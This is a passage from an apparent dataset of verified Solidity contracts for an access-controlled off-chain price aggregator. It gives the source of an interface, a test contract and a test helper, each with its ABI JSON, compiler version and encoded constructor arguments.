nt64","name":"latestTimestamp","type":"uint64"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"linkAvailableForPayment","outputs":[{"internalType":"int256","name":"availableBalance","type":"int256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxAnswer","outputs":[{"internalType":"int192","name":"","type":"int192"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minAnswer","outputs":[{"internalType":"int192","name":"","type":"int192"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_signerOrTransmitter","type":"address"}],"name":"oracleObservationCount","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_transmitter","type":"address"}],"name":"owedPayment","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"removeAccess","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"requestNewRound","outputs":[{"internalType":"uint80","name":"","type":"uint80"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"requesterAccessController","outputs":[{"internalType":"contract AccessControllerInterface","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint32","name":"_maximumGasPrice","type":"uint32"},{"internalType":"uint32","name":"_reasonableGasPrice","type":"uint32"},{"internalType":"uint32","name":"_microLinkPerEth","type":"uint32"},{"internalType":"uint32","name":"_linkGweiPerObservation","type":"uint32"},{"internalType":"uint32","name":"_linkGweiPerTransmission","type":"uint32"}],"name":"setBilling","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract AccessControllerInterface","name":"_billingAccessController","type":"address"}],"name":"setBillingAccessController","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_signers","type":"address[]"},{"internalType":"address[]","name":"_transmitters","type":"address[]"},{"internalType":"uint8","name":"_threshold","type":"uint8"},{"internalType":"uint64","name":"_encodedConfigVersion","type":"uint64"},{"internalType":"bytes","name":"_encoded","type":"bytes"}],"name":"setConfig","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract LinkTokenInterface","name":"_linkToken","type":"address"},{"internalType":"address","name":"_recipient","type":"address"}],"name":"setLinkToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_transmitters","type":"address[]"},{"internalType":"address[]","name":"_payees","type":"address[]"}],"name":"setPayees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract AccessControllerInterface","name":"_requesterAccessController","type":"address"}],"name":"setRequesterAccessController","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract AggregatorValidatorInterface","name":"_newValidator","type":"address"},{"internalType":"uint32","name":"_newGasLimit","type":"uint32"}],"name":"setValidatorConfig","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_transmitter","type":"address"},{"internalType":"address","name":"_proposed","type":"address"}],"name":"transferPayeeship","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes","name":"_report","type":"bytes"},{"internalType":"bytes32[]","name":"_rs","type":"bytes32[]"},{"internalType":"bytes32[]","name":"_ss","type":"bytes32[]"},{"internalType":"bytes32","name":"_rawVs","type":"bytes32"}],"name":"transmit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transmitters","outputs":[{"internalType":"address[]","name":"","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"typeAndVersion","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"validatorConfig","outputs":[{"internalType":"contract AggregatorValidatorInterface","name":"validator","type":"address"},{"internalType":"uint32","name":"gasLimit","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"version","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_recipient","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdrawFunds","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_transmitter","type":"address"}],"name":"withdrawPayment","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.7.6+commit.7338295f | true | 20,000 | 00000000000000000000000000000000000000000000000000000000000007d0000000000000000000000000000000000000000000000000000000000000006400000000000000000000000000000000000000000000000000000000076914580000000000000000000000000000000000000000000000000000000000b688840000000000000000000000000000000000000000000000000000000004473318000000000000000000000000514910771af9ca656af840dff83e8264ecf986ca00000000000000000000000000000000000000000000000000000000000f424000000000000000000000000000000000000000000000000000000002540be4000000000000000000000000009db83cef9f68b63989e4e82d65d549e7ff2acda9000000000000000000000000641b698ad1c6e503470520b0eecb472c0589dfe6000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000001800000000000000000000000000000000000000000000000000000000000000009424e54202f205553440000000000000000000000000000000000000000000000 | Default | MIT | false | |||
AccessControlledOffchainAggregator | contract/src/TypeAndVersionInterface.sol | 0xe0db9705faf02cdb35d9bc795deb7e3dca94bada | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
abstract contract TypeAndVersionInterface{
function typeAndVersion()
external
pure
virtual
returns (string memory);
} | [{"inputs":[{"internalType":"uint32","name":"_maximumGasPrice","type":"uint32"},{"internalType":"uint32","name":"_reasonableGasPrice","type":"uint32"},{"internalType":"uint32","name":"_microLinkPerEth","type":"uint32"},{"internalType":"uint32","name":"_linkGweiPerObservation","type":"uint32"},{"internalType":"uint32","name":"_linkGweiPerTransmission","type":"uint32"},{"internalType":"contract LinkTokenInterface","name":"_link","type":"address"},{"internalType":"int192","name":"_minAnswer","type":"int192"},{"internalType":"int192","name":"_maxAnswer","type":"int192"},{"internalType":"contract AccessControllerInterface","name":"_billingAccessController","type":"address"},{"internalType":"contract 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AccessControlledOffchainAggregator | contract/src/TestOffchainAggregator.sol | 0xe0db9705faf02cdb35d9bc795deb7e3dca94bada | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./AccessControlledOffchainAggregator.sol";
import "./AccessControlTestHelper.sol";
contract TestOffchainAggregator is AccessControlledOffchainAggregator {
function testDecodeReport(
bytes memory report
) public pure returns (bytes32, bytes32, int192[] memory)
{
return decodeReport(report);
}
constructor(
uint32 _maximumGasPrice,
uint32 _reasonableGasPrice,
uint32 _microLinkPerEth,
uint32 _linkGweiPerObservation,
uint32 _linkGweiPerTransmission,
LinkTokenInterface _link,
int192 _minAnswer, int192 _maxAnswer,
AccessControllerInterface _billingAccessController,
AccessControllerInterface _requesterAdminAccessController
)
AccessControlledOffchainAggregator(_maximumGasPrice, _reasonableGasPrice, _microLinkPerEth,
_linkGweiPerObservation, _linkGweiPerTransmission, _link,
_minAnswer, _maxAnswer, _billingAccessController, _requesterAdminAccessController, 0, "TEST"
)
{}
function testPayee(
address _transmitter
)
external
view
returns (address)
{
return s_payees[_transmitter];
}
function getConfigDigest() public view returns (bytes16) {
return s_hotVars.latestConfigDigest;
}
function testSaturatingAddUint16(uint16 _x, uint16 _y)
external pure returns (uint16)
{
return saturatingAddUint16(_x, _y);
}
function testImpliedGasPrice(uint256 txGasPrice, uint256 reasonableGasPrice,
uint256 maximumGasPrice
) external pure returns (uint256) {
return impliedGasPrice(txGasPrice, reasonableGasPrice, maximumGasPrice);
}
function testTransmitterGasCostEthWei(uint256 initialGas, uint256 gasPrice,
uint256 callDataCost, uint256 gasLeft
) external pure returns (uint128) {
return transmitterGasCostEthWei(
initialGas, gasPrice, callDataCost, gasLeft
);
}
function testSetOracleObservationCount(address _oracle, uint16 _amount) external {
s_oracleObservationsCounts[s_oracles[_oracle].index] = _amount + 1;
}
function testTotalLinkDue()
external view returns (uint256 linkDue)
{
return totalLINKDue();
}
function billingData() external view returns (
uint16[maxNumOracles] memory observationsCounts,
uint256[maxNumOracles] memory gasReimbursements,
uint32 maximumGasPrice,
uint32 reasonableGasPrice,
uint32 microLinkPerEth,
uint32 linkGweiPerObservation,
uint32 linkGweiPerTransmission
) {
Billing memory b = s_billing;
return (s_oracleObservationsCounts, s_gasReimbursementsLinkWei,
b.maximumGasPrice, b.reasonableGasPrice, b.microLinkPerEth,
b.linkGweiPerObservation, b.linkGweiPerTransmission);
}
function testSetGasReimbursements(address _transmitterOrSigner, uint256 _amountLinkWei)
external
{
require(s_oracles[_transmitterOrSigner].role != Role.Unset, "address unknown");
s_gasReimbursementsLinkWei[s_oracles[_transmitterOrSigner].index] = _amountLinkWei + 1;
}
function testAccountingGasCost() public pure returns (uint256) {
return accountingGasCost;
}
function testBurnLINK(uint256 amount) public {
s_linkToken.transfer(address(1), amount);
}
} | [{"inputs":[{"internalType":"uint32","name":"_maximumGasPrice","type":"uint32"},{"internalType":"uint32","name":"_reasonableGasPrice","type":"uint32"},{"internalType":"uint32","name":"_microLinkPerEth","type":"uint32"},{"internalType":"uint32","name":"_linkGweiPerObservation","type":"uint32"},{"internalType":"uint32","name":"_linkGweiPerTransmission","type":"uint32"},{"internalType":"contract LinkTokenInterface","name":"_link","type":"address"},{"internalType":"int192","name":"_minAnswer","type":"int192"},{"internalType":"int192","name":"_maxAnswer","type":"int192"},{"internalType":"contract AccessControllerInterface","name":"_billingAccessController","type":"address"},{"internalType":"contract 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LinkTokenInterface","name":"linkToken","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint80","name":"_roundId","type":"uint80"}],"name":"getRoundData","outputs":[{"internalType":"uint80","name":"roundId","type":"uint80"},{"internalType":"int256","name":"answer","type":"int256"},{"internalType":"uint256","name":"startedAt","type":"uint256"},{"internalType":"uint256","name":"updatedAt","type":"uint256"},{"internalType":"uint80","name":"answeredInRound","type":"uint80"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_roundId","type":"uint256"}],"name":"getTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bytes","name":"_calldata","type":"bytes"}],"name":"hasAccess","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"latestAnswer","outputs":[{"internalType":"int256","name":"","type":"int256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"latestConfigDetails","outputs":[{"internalType":"uint32","name":"configCount","type":"uint32"},{"internalType":"uint32","name":"blockNumber","type":"uint32"},{"internalType":"bytes16","name":"configDigest","type":"bytes16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"latestRound","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"latestRoundData","outputs":[{"internalType":"uint80","name":"roundId","type":"uint80"},{"internalType":"int256","name":"answer","type":"int256"},{"internalType":"uint256","name":"startedAt","type":"uint256"},{"internalType":"uint256","name":"updatedAt","type":"uint256"},{"internalType":"uint80","name":"answeredInRound","type":"uint80"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"latestTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"latestTransmissionDetails","outputs":[{"internalType":"bytes16","name":"configDigest","type":"bytes16"},{"internalType":"uint32","name":"epoch","type":"uint32"},{"internalType":"uint8","name":"round","type":"uint8"},{"internalType":"int192","name":"latestAnswer","type":"int192"},{"internalType":"uint64","name":"latestTimestamp","type":"uint64"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"linkAvailableForPayment","outputs":[{"internalType":"int256","name":"availableBalance","type":"int256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxAnswer","outputs":[{"internalType":"int192","name":"","type":"int192"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minAnswer","outputs":[{"internalType":"int192","name":"","type":"int192"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_signerOrTransmitter","type":"address"}],"name":"oracleObservationCount","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_transmitter","type":"address"}],"name":"owedPayment","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"removeAccess","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"requestNewRound","outputs":[{"internalType":"uint80","name":"","type":"uint80"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"requesterAccessController","outputs":[{"internalType":"contract AccessControllerInterface","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint32","name":"_maximumGasPrice","type":"uint32"},{"internalType":"uint32","name":"_reasonableGasPrice","type":"uint32"},{"internalType":"uint32","name":"_microLinkPerEth","type":"uint32"},{"internalType":"uint32","name":"_linkGweiPerObservation","type":"uint32"},{"internalType":"uint32","name":"_linkGweiPerTransmission","type":"uint32"}],"name":"setBilling","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract AccessControllerInterface","name":"_billingAccessController","type":"address"}],"name":"setBillingAccessController","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_signers","type":"address[]"},{"internalType":"address[]","name":"_transmitters","type":"address[]"},{"internalType":"uint8","name":"_threshold","type":"uint8"},{"internalType":"uint64","name":"_encodedConfigVersion","type":"uint64"},{"internalType":"bytes","name":"_encoded","type":"bytes"}],"name":"setConfig","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract LinkTokenInterface","name":"_linkToken","type":"address"},{"internalType":"address","name":"_recipient","type":"address"}],"name":"setLinkToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_transmitters","type":"address[]"},{"internalType":"address[]","name":"_payees","type":"address[]"}],"name":"setPayees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract AccessControllerInterface","name":"_requesterAccessController","type":"address"}],"name":"setRequesterAccessController","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract AggregatorValidatorInterface","name":"_newValidator","type":"address"},{"internalType":"uint32","name":"_newGasLimit","type":"uint32"}],"name":"setValidatorConfig","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_transmitter","type":"address"},{"internalType":"address","name":"_proposed","type":"address"}],"name":"transferPayeeship","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes","name":"_report","type":"bytes"},{"internalType":"bytes32[]","name":"_rs","type":"bytes32[]"},{"internalType":"bytes32[]","name":"_ss","type":"bytes32[]"},{"internalType":"bytes32","name":"_rawVs","type":"bytes32"}],"name":"transmit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transmitters","outputs":[{"internalType":"address[]","name":"","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"typeAndVersion","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"validatorConfig","outputs":[{"internalType":"contract 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AccessControlledOffchainAggregator | contract/src/AccessControlTestHelper.sol | 0xe0db9705faf02cdb35d9bc795deb7e3dca94bada | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;
import "./AccessControlledOffchainAggregator.sol";
contract AccessControlTestHelper {
event Dummy(); // Used to silence warning that these methods are pure
function readGetRoundData(address _aggregator, uint80 _roundID)
external
{
AccessControlledOffchainAggregator(_aggregator).getRoundData(_roundID);
emit Dummy();
}
function readLatestRoundData(address _aggregator)
external
{
AccessControlledOffchainAggregator(_aggregator).latestRoundData();
emit Dummy();
}
function readLatestAnswer(address _aggregator)
external
{
AccessControlledOffchainAggregator(_aggregator).latestAnswer();
emit Dummy();
}
function readLatestTimestamp(address _aggregator)
external
{
AccessControlledOffchainAggregator(_aggregator).latestTimestamp();
emit Dummy();
}
function readLatestRound(address _aggregator)
external
{
AccessControlledOffchainAggregator(_aggregator).latestRound();
emit Dummy();
}
function readGetAnswer(address _aggregator, uint256 _roundID)
external
{
AccessControlledOffchainAggregator(_aggregator).getAnswer(_roundID);
emit Dummy();
}
function readGetTimestamp(address _aggregator, uint256 _roundID)
external
{
AccessControlledOffchainAggregator(_aggregator).getTimestamp(_roundID);
emit Dummy();
}
function testLatestTransmissionDetails(address _aggregator) external view {
OffchainAggregator(_aggregator).latestTransmissionDetails();
}
} | [{"inputs":[{"internalType":"uint32","name":"_maximumGasPrice","type":"uint32"},{"internalType":"uint32","name":"_reasonableGasPrice","type":"uint32"},{"internalType":"uint32","name":"_microLinkPerEth","type":"uint32"},{"internalType":"uint32","name":"_linkGweiPerObservation","type":"uint32"},{"internalType":"uint32","name":"_linkGweiPerTransmission","type":"uint32"},{"internalType":"contract LinkTokenInterface","name":"_link","type":"address"},{"internalType":"int192","name":"_minAnswer","type":"int192"},{"internalType":"int192","name":"_maxAnswer","type":"int192"},{"internalType":"contract AccessControllerInterface","name":"_billingAccessController","type":"address"},{"internalType":"contract AccessControllerInterface","name":"_requesterAccessController","type":"address"},{"internalType":"uint8","name":"_decimals","type":"uint8"},{"internalType":"string","name":"description","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"user","type":"address"}],"name":"AddedAccess","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"int256","name":"current","type":"int256"},{"indexed":true,"internalType":"uint256","name":"roundId","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"updatedAt","type":"uint256"}],"name":"AnswerUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"contract AccessControllerInterface","name":"old","type":"address"},{"indexed":false,"internalType":"contract AccessControllerInterface","name":"current","type":"address"}],"name":"BillingAccessControllerSet","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint32","name":"maximumGasPrice","type":"uint32"},{"indexed":false,"internalType":"uint32","name":"reasonableGasPrice","type":"uint32"},{"indexed":false,"internalType":"uint32","name":"microLinkPerEth","type":"uint32"},{"indexed":false,"internalType":"uint32","name":"linkGweiPerObservation","type":"uint32"},{"indexed":false,"internalType":"uint32","name":"linkGweiPerTransmission","type":"uint32"}],"name":"BillingSet","type":"event"},{"anonymous":false,"inputs":[],"name":"CheckAccessDisabled","type":"event"},{"anonymous":false,"inputs":[],"name":"CheckAccessEnabled","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint32","name":"previousConfigBlockNumber","type":"uint32"},{"indexed":false,"internalType":"uint64","name":"configCount","type":"uint64"},{"indexed":false,"internalType":"address[]","name":"signers","type":"address[]"},{"indexed":false,"internalType":"address[]","name":"transmitters","type":"address[]"},{"indexed":false,"internalType":"uint8","name":"threshold","type":"uint8"},{"indexed":false,"internalType":"uint64","name":"encodedConfigVersion","type":"uint64"},{"indexed":false,"internalType":"bytes","name":"encoded","type":"bytes"}],"name":"ConfigSet","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"contract LinkTokenInterface","name":"_oldLinkToken","type":"address"},{"indexed":true,"internalType":"contract LinkTokenInterface","name":"_newLinkToken","type":"address"}],"name":"LinkTokenSet","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"roundId","type":"uint256"},{"indexed":true,"internalType":"address","name":"startedBy","type":"address"},{"indexed":false,"internalType":"uint256","name":"startedAt","type":"uint256"}],"name":"NewRound","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint32","name":"aggregatorRoundId","type":"uint32"},{"indexed":false,"internalType":"int192","name":"answer","type":"int192"},{"indexed":false,"internalType":"address","name":"transmitter","type":"address"},{"indexed":false,"internalType":"int192[]","name":"observations","type":"int192[]"},{"indexed":false,"internalType":"bytes","name":"observers","type":"bytes"},{"indexed":false,"internalType":"bytes32","name":"rawReportContext","type":"bytes32"}],"name":"NewTransmission","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"transmitter","type":"address"},{"indexed":true,"internalType":"address","name":"payee","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":true,"internalType":"contract LinkTokenInterface","name":"linkToken","type":"address"}],"name":"OraclePaid","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"OwnershipTransferRequested","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"transmitter","type":"address"},{"indexed":true,"internalType":"address","name":"current","type":"address"},{"indexed":true,"internalType":"address","name":"proposed","type":"address"}],"name":"PayeeshipTransferRequested","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"transmitter","type":"address"},{"indexed":true,"internalType":"address","name":"previous","type":"address"},{"indexed":true,"internalType":"address","name":"current","type":"address"}],"name":"PayeeshipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"user","type":"address"}],"name":"RemovedAccess","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"contract 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AggregatorValidatorInterface","name":"currentValidator","type":"address"},{"indexed":false,"internalType":"uint32","name":"currentGasLimit","type":"uint32"}],"name":"ValidatorConfigSet","type":"event"},{"inputs":[],"name":"acceptOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_transmitter","type":"address"}],"name":"acceptPayeeship","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"addAccess","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"billingAccessController","outputs":[{"internalType":"contract AccessControllerInterface","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"description","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableAccessCheck","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableAccessCheck","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_roundId","type":"uint256"}],"name":"getAnswer","outputs":[{"internalType":"int256","name":"","type":"int256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getBilling","outputs":[{"internalType":"uint32","name":"maximumGasPrice","type":"uint32"},{"internalType":"uint32","name":"reasonableGasPrice","type":"uint32"},{"internalType":"uint32","name":"microLinkPerEth","type":"uint32"},{"internalType":"uint32","name":"linkGweiPerObservation","type":"uint32"},{"internalType":"uint32","name":"linkGweiPerTransmission","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getLinkToken","outputs":[{"internalType":"contract LinkTokenInterface","name":"linkToken","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint80","name":"_roundId","type":"uint80"}],"name":"getRoundData","outputs":[{"internalType":"uint80","name":"roundId","type":"uint80"},{"internalType":"int256","name":"answer","type":"int256"},{"internalType":"uint256","name":"startedAt","type":"uint256"},{"internalType":"uint256","name":"updatedAt","type":"uint256"},{"internalType":"uint80","name":"answeredInRound","type":"uint80"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_roundId","type":"uint256"}],"name":"getTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bytes","name":"_calldata","type":"bytes"}],"name":"hasAccess","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"latestAnswer","outputs":[{"internalType":"int256","name":"","type":"int256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"latestConfigDetails","outputs":[{"internalType":"uint32","name":"configCount","type":"uint32"},{"internalType":"uint32","name":"blockNumber","type":"uint32"},{"internalType":"bytes16","name":"configDigest","type":"bytes16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"latestRound","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"latestRoundData","outputs":[{"internalType":"uint80","name":"roundId","type":"uint80"},{"internalType":"int256","name":"answer","type":"int256"},{"internalType":"uint256","name":"startedAt","type":"uint256"},{"internalType":"uint256","name":"updatedAt","type":"uint256"},{"internalType":"uint80","name":"answeredInRound","type":"uint80"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"latestTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"latestTransmissionDetails","outputs":[{"internalType":"bytes16","name":"configDigest","type":"bytes16"},{"internalType":"uint32","name":"epoch","type":"uint32"},{"internalType":"uint8","name":"round","type":"uint8"},{"internalType":"int192","name":"latestAnswer","type":"int192"},{"internalType":"uint64","name":"latestTimestamp","type":"uint64"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"linkAvailableForPayment","outputs":[{"internalType":"int256","name":"availableBalance","type":"int256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxAnswer","outputs":[{"internalType":"int192","name":"","type":"int192"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minAnswer","outputs":[{"internalType":"int192","name":"","type":"int192"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_signerOrTransmitter","type":"address"}],"name":"oracleObservationCount","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_transmitter","type":"address"}],"name":"owedPayment","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"removeAccess","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"requestNewRound","outputs":[{"internalType":"uint80","name":"","type":"uint80"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"requesterAccessController","outputs":[{"internalType":"contract AccessControllerInterface","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint32","name":"_maximumGasPrice","type":"uint32"},{"internalType":"uint32","name":"_reasonableGasPrice","type":"uint32"},{"internalType":"uint32","name":"_microLinkPerEth","type":"uint32"},{"internalType":"uint32","name":"_linkGweiPerObservation","type":"uint32"},{"internalType":"uint32","name":"_linkGweiPerTransmission","type":"uint32"}],"name":"setBilling","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract AccessControllerInterface","name":"_billingAccessController","type":"address"}],"name":"setBillingAccessController","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_signers","type":"address[]"},{"internalType":"address[]","name":"_transmitters","type":"address[]"},{"internalType":"uint8","name":"_threshold","type":"uint8"},{"internalType":"uint64","name":"_encodedConfigVersion","type":"uint64"},{"internalType":"bytes","name":"_encoded","type":"bytes"}],"name":"setConfig","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract LinkTokenInterface","name":"_linkToken","type":"address"},{"internalType":"address","name":"_recipient","type":"address"}],"name":"setLinkToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_transmitters","type":"address[]"},{"internalType":"address[]","name":"_payees","type":"address[]"}],"name":"setPayees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract AccessControllerInterface","name":"_requesterAccessController","type":"address"}],"name":"setRequesterAccessController","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract 